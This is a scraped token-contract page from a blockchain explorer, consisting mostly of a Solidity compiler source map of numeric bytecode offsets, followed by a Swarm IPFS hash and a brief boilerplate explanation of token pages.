7231:4:0;6934:305;;;;;:::o;11597:196::-;11710:4;;11680;;-1:-1:-1;;;;;11697:17:0;;;11710:4;;11697:17;;;;:39;;-1:-1:-1;11732:4:0;;-1:-1:-1;;;;;11719:17:0;;;11732:4;;11719:17;;11697:39;:64;;;;-1:-1:-1;;;;;;11742:19:0;;;;;;:11;:19;;;;;;;;11741:20;11697:64;:92;;;;-1:-1:-1;;;;;;;11767:22:0;;;;;:11;:22;;;;;;;;11766:23;;11597:196;-1:-1:-1;11597:196:0:o;14139:95::-;14206:4;;-1:-1:-1;;;;;14206:4:0;;;14196:14;;;;14193:38;;14215:10;:12;;;:10;:12;;;:::i;:::-;;;;;;14139:95;:::o;11795:291::-;11873:4;11879;11890:13;11910:15;11928:16;11939:4;-1:-1:-1;;;;;14314:19:0;14297:4;14314:19;;;:11;:19;;;;;;;;14313:20;;14238:99;11928:16;11958:4;;11910:34;;-1:-1:-1;;;;;;11958:4:0;;;11952:10;;;;11949:102;;11978:1;11967:12;;11949:102;;;12001:4;;-1:-1:-1;;;;;12001:4:0;;;11993:12;;;;11989:62;;12021:1;12010:12;;11989:62;;;12046:1;12035:12;;11989:62;12061:10;12073:8;;-1:-1:-1;11795:291:0;-1:-1:-1;;;11795:291:0:o;11033:470::-;11295:4;11158;6908:18;;;:9;:18;;;;;;11195:6;;11232:7;;11306:16;11352:15;11325:24;:42;:81;;;;;11391:15;11371:17;:35;11325:81;11420:6;;11306:100;;-1:-1:-1;11420:6:0;;11419:7;:25;;;;;11431:13;11419:25;:48;;;;;11466:1;11450:13;:17;11419:48;:64;;;;;11472:11;11419:64;:80;;;;-1:-1:-1;11488:11:0;;-1:-1:-1;;;11488:11:0;;;;11419:80;11411:88;11033:470;-1:-1:-1;;;;;;;;;11033:470:0:o;8258:507::-;6274:6;:13;;-1:-1:-1;;6274:13:0;6283:4;6274:13;;;8367:4:::1;-1:-1:-1::0;6908:18:0;;;:9;:18;;;;;;8326:47:::1;;8376:20;8399:43;8403:6;8411:30;8415:12;8429:11;;8411:3;:30::i;:::-;8399:3;:43::i;:::-;8471:16;::::0;;8485:1:::1;8471:16:::0;;;;;::::1;::::0;;8376:66;;-1:-1:-1;8447:21:0::1;::::0;8471:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8471:16:0::1;8447:40;;8508:4;8490;8495:1;8490:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8490:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8526:6:::1;::::0;:13:::1;::::0;;-1:-1:-1;;;8526:13:0;;;;:6;;;::::1;::::0;:11:::1;::::0;:13:::1;::::0;;::::1;::::0;8490:7;;8526:13;;;;;:6;:13:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8516:4;8521:1;8516:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8516:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;8544:6:::1;::::0;:120:::1;::::0;-1:-1:-1;;;8544:120:0;;:6;::::1;::::0;:57:::1;::::0;:120:::1;::::0;8604:12;;8544:6:::1;::::0;8623:4;;8638::::1;::::0;8646:15:::1;::::0;8544:120:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;8724:13:0::1;::::0;8716:45:::1;::::0;8692:21:::1;::::0;-1:-1:-1;;;;;;8724:13:0;;::::1;::::0;-1:-1:-1;8716:45:0;::::1;;;::::0;8692:21;;8669:20:::1;8716:45:::0;8669:20;8716:45;8692:21;8724:13;8716:45;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6294:6:0;:14;;-1:-1:-1;;6294:14:0;;;-1:-1:-1;;;;8258:507:0:o;9692:485::-;9824:4;9835:20;9859:23;9921:41;9938:6;9946:7;9955:6;9921:16;:41::i;:::-;9985:64;;;;;;;;;;;-1:-1:-1;;;9985:64:0;;;;;;;;-1:-1:-1;;;;;9985:17:0;;-1:-1:-1;9985:17:0;;;:9;:17;;;;;;;;9887:75;;-1:-1:-1;9887:75:0;;-1:-1:-1;9985:64:0;;:17;9887:75;;9985:21;:64::i;:::-;-1:-1:-1;;;;;9965:17:0;;;;;;;:9;:17;;;;;;:84;;;;10075:20;;;;;;;:41;;10100:15;10075:24;:41::i;:::-;-1:-1:-1;;;;;10052:20:0;;;;;;;:9;:20;;;;;;;:64;;;;10124:35;;;;;;;;;;10152:6;1500:25:1;;1488:2;1473:18;;1354:177;10124:35:0;;;;;;;;-1:-1:-1;10169:4:0;;9692:485;-1:-1:-1;;;;;;;9692:485:0:o;293:151::-;351:7;;375:5;379:1;375;:5;:::i;:::-;363:17;;396:1;391;:6;;383:46;;;;-1:-1:-1;;;383:46:0;;10885:2:1;383:46:0;;;10867:21:1;10924:2;10904:18;;;10897:30;10963:29;10943:18;;;10936:57;11010:18;;383:46:0;10683:351:1;10847:88:0;10904:7;10925:1;10923;:3;10922:9;;10930:1;10922:9;;;-1:-1:-1;10928:1:0;10847:88;-1:-1:-1;10847:88:0:o;7790:378::-;7877:7;7886;7898:15;7916:7;:104;;7937:16;;-1:-1:-1;;;7937:16:0;;;;:83;;8013:7;7916:104;;7937:83;7957:51;7983:6;7991:7;8000;7957:25;:51::i;:::-;7916:104;;;7927:7;7916:104;8043:16;;7898:122;;-1:-1:-1;8025:15:0;;-1:-1:-1;;;8043:16:0;;;;:27;;;;;8063:7;8043:27;:93;;8129:7;8043:93;;;8074:51;8100:6;8108:7;8117;8074:25;:51::i;:::-;8147:7;;;;-1:-1:-1;7790:378:0;;-1:-1:-1;;;;;7790:378:0:o;8888:763::-;9000:7;;9071:3;9079:311;;;;9121:1;9105:13;:17;9102:252;;;9156:16;;9145:10;;:27;:58;;9191:12;;9145:58;;;9175:13;;9145:58;9127:77;;9079:311;;9102:252;9220:17;;9217:134;;9271:15;;9260:10;;:26;:55;;9304:11;;9260:55;;;9289:12;;9242:74;;9079:311;;9217:134;9346:1;9329:18;;9079:311;;;9385:1;9368:18;;9079:311;9394:18;9415:55;9447:22;9415:27;:7;9427:14;9415:11;:27::i;:::-;:31;;:55::i;:::-;9518:4;9500:24;;;;:9;:24;;;;;;9394:76;;-1:-1:-1;9500:40:0;;9394:76;9500:28;:40::i;:::-;9491:4;9473:24;;;;:9;:24;;;;;:67;9556:13;:56;;9585:27;:7;9597:14;9585:11;:27::i;:::-;9556:56;;;9572:10;9556:56;9543:69;-1:-1:-1;9624:23:0;:7;9543:69;9624:11;:23::i;:::-;9617:30;8888:763;-1:-1:-1;;;;;;;8888:763:0:o;748:190::-;806:7;822:1;827;822:6;818:27;;-1:-1:-1;840:1:0;833:8;;818:27;847:9;859:5;863:1;859;:5;:::i;:::-;847:17;-1:-1:-1;884:1:0;875:5;879:1;847:17;875:5;:::i;:::-;:10;867:56;;;;-1:-1:-1;;;867:56:0;;11636:2:1;867:56:0;;;11618:21:1;11675:2;11655:18;;;11648:30;11714:34;11694:18;;;11687:62;-1:-1:-1;;;11765:18:1;;;11758:31;11806:19;;867:56:0;11434:397:1;942:120:0;1000:7;1019:39;1023:1;1026;1019:39;;;;;;;;;;;;;;;;;:3;:39::i;448:124::-;506:7;525:43;529:1;532;525:43;;;;;;;;;;;;;;;;;:3;:43::i;1066:167::-;1158:7;1185:12;1178:5;1170:28;;;;-1:-1:-1;;;1170:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1201:9:0;1213:5;1217:1;1213;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;759:131::-;-1:-1:-1;;;;;834:31:1;;824:42;;814:70;;880:1;877;870:12;895:134;963:20;;992:31;963:20;992:31;:::i;:::-;895:134;;;:::o;1034:315::-;1102:6;1110;1163:2;1151:9;1142:7;1138:23;1134:32;1131:52;;;1179:1;1176;1169:12;1131:52;1218:9;1205:23;1237:31;1262:5;1237:31;:::i;:::-;1287:5;1339:2;1324:18;;;;1311:32;;-1:-1:-1;;;1034:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;1997:247::-;2056:6;2109:2;2097:9;2088:7;2084:23;2080:32;2077:52;;;2125:1;2122;2115:12;2077:52;2164:9;2151:23;2183:31;2208:5;2183:31;:::i;2646:127::-;2707:10;2702:3;2698:20;2695:1;2688:31;2738:4;2735:1;2728:15;2762:4;2759:1;2752:15;2778:1121;2862:6;2893:2;2936;2924:9;2915:7;2911:23;2907:32;2904:52;;;2952:1;2949;2942:12;2904:52;2992:9;2979:23;3021:18;3062:2;3054:6;3051:14;3048:34;;;3078:1;3075;3068:12;3048:34;3116:6;3105:9;3101:22;3091:32;;3161:7;3154:4;3150:2;3146:13;3142:27;3132:55;;3183:1;3180;3173:12;3132:55;3219:2;3206:16;3241:2;3237;3234:10;3231:36;;;3247:18;;:::i;:::-;3293:2;3290:1;3286:10;3325:2;3319:9;3388:2;3384:7;3379:2;3375;3371:11;3367:25;3359:6;3355:38;3443:6;3431:10;3428:22;3423:2;3411:10;3408:18;3405:46;3402:72;;;3454:18;;:::i;:::-;3490:2;3483:22;3540:18;;;3574:15;;;;-1:-1:-1;3616:11:1;;;3612:20;;;3644:19;;;3641:39;;;3676:1;3673;3666:12;3641:39;3700:11;;;;3720:148;3736:6;3731:3;3728:15;3720:148;;;3802:23;3821:3;3802:23;:::i;:::-;3790:36;;3753:12;;;;3846;;;;3720:148;;;3887:6;2778:1121;-1:-1:-1;;;;;;;;2778:1121:1:o;3904:388::-;3972:6;3980;4033:2;4021:9;4012:7;4008:23;4004:32;4001:52;;;4049:1;4046;4039:12;4001:52;4088:9;4075:23;4107:31;4132:5;4107:31;:::i;:::-;4157:5;-1:-1:-1;4214:2:1;4199:18;;4186:32;4227:33;4186:32;4227:33;:::i;:::-;4279:7;4269:17;;;3904:388;;;;;:::o;4531:329::-;4733:2;4715:21;;;4772:1;4752:18;;;4745:29;-1:-1:-1;;;4805:2:1;4790:18;;4783:36;4851:2;4836:18;;4531:329::o;4865:251::-;4935:6;4988:2;4976:9;4967:7;4963:23;4959:32;4956:52;;;5004:1;5001;4994:12;4956:52;5036:9;5030:16;5055:31;5080:5;5055:31;:::i;6042:306::-;6130:6;6138;6146;6199:2;6187:9;6178:7;6174:23;6170:32;6167:52;;;6215:1;6212;6205:12;6167:52;6244:9;6238:16;6228:26;;6294:2;6283:9;6279:18;6273:25;6263:35;;6338:2;6327:9;6323:18;6317:25;6307:35;;6042:306;;;;;:::o;7056:127::-;7117:10;7112:3;7108:20;7105:1;7098:31;7148:4;7145:1;7138:15;7172:4;7169:1;7162:15;7188:127;7249:10;7244:3;7240:20;7237:1;7230:31;7280:4;7277:1;7270:15;7304:4;7301:1;7294:15;7320:135;7359:3;7380:17;;;7377:43;;7400:18;;:::i;:::-;-1:-1:-1;7447:1:1;7436:13;;7320:135::o;7460:128::-;7527:9;;;7548:11;;;7545:37;;;7562:18;;:::i;9162:125::-;9227:9;;;9248:10;;;9245:36;;;9261:18;;:::i;9698:980::-;9960:4;10008:3;9997:9;9993:19;10039:6;10028:9;10021:25;10065:2;10103:6;10098:2;10087:9;10083:18;10076:34;10146:3;10141:2;10130:9;10126:18;10119:31;10170:6;10205;10199:13;10236:6;10228;10221:22;10274:3;10263:9;10259:19;10252:26;;10313:2;10305:6;10301:15;10287:29;;10334:1;10344:195;10358:6;10355:1;10352:13;10344:195;;;10423:13;;-1:-1:-1;;;;;10419:39:1;10407:52;;10514:15;;;;10479:12;;;;10455:1;10373:9;10344:195;;;-1:-1:-1;;;;;;;10595:32:1;;;;10590:2;10575:18;;10568:60;-1:-1:-1;;;10659:3:1;10644:19;10637:35;10556:3;9698:980;-1:-1:-1;;;9698:980:1:o;11039:168::-;11112:9;;;11143;;11160:15;;;11154:22;;11140:37;11130:71;;11181:18;;:::i;11212:217::-;11252:1;11278;11268:132;;11322:10;11317:3;11313:20;11310:1;11303:31;11357:4;11354:1;11347:15;11385:4;11382:1;11375:15;11268:132;-1:-1:-1;11414:9:1;;11212:217::o

Swarm Source

ipfs://8bef8c761f115d676cdbfbe6289e89d9c065a600b32042ffff70995e09381e16
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.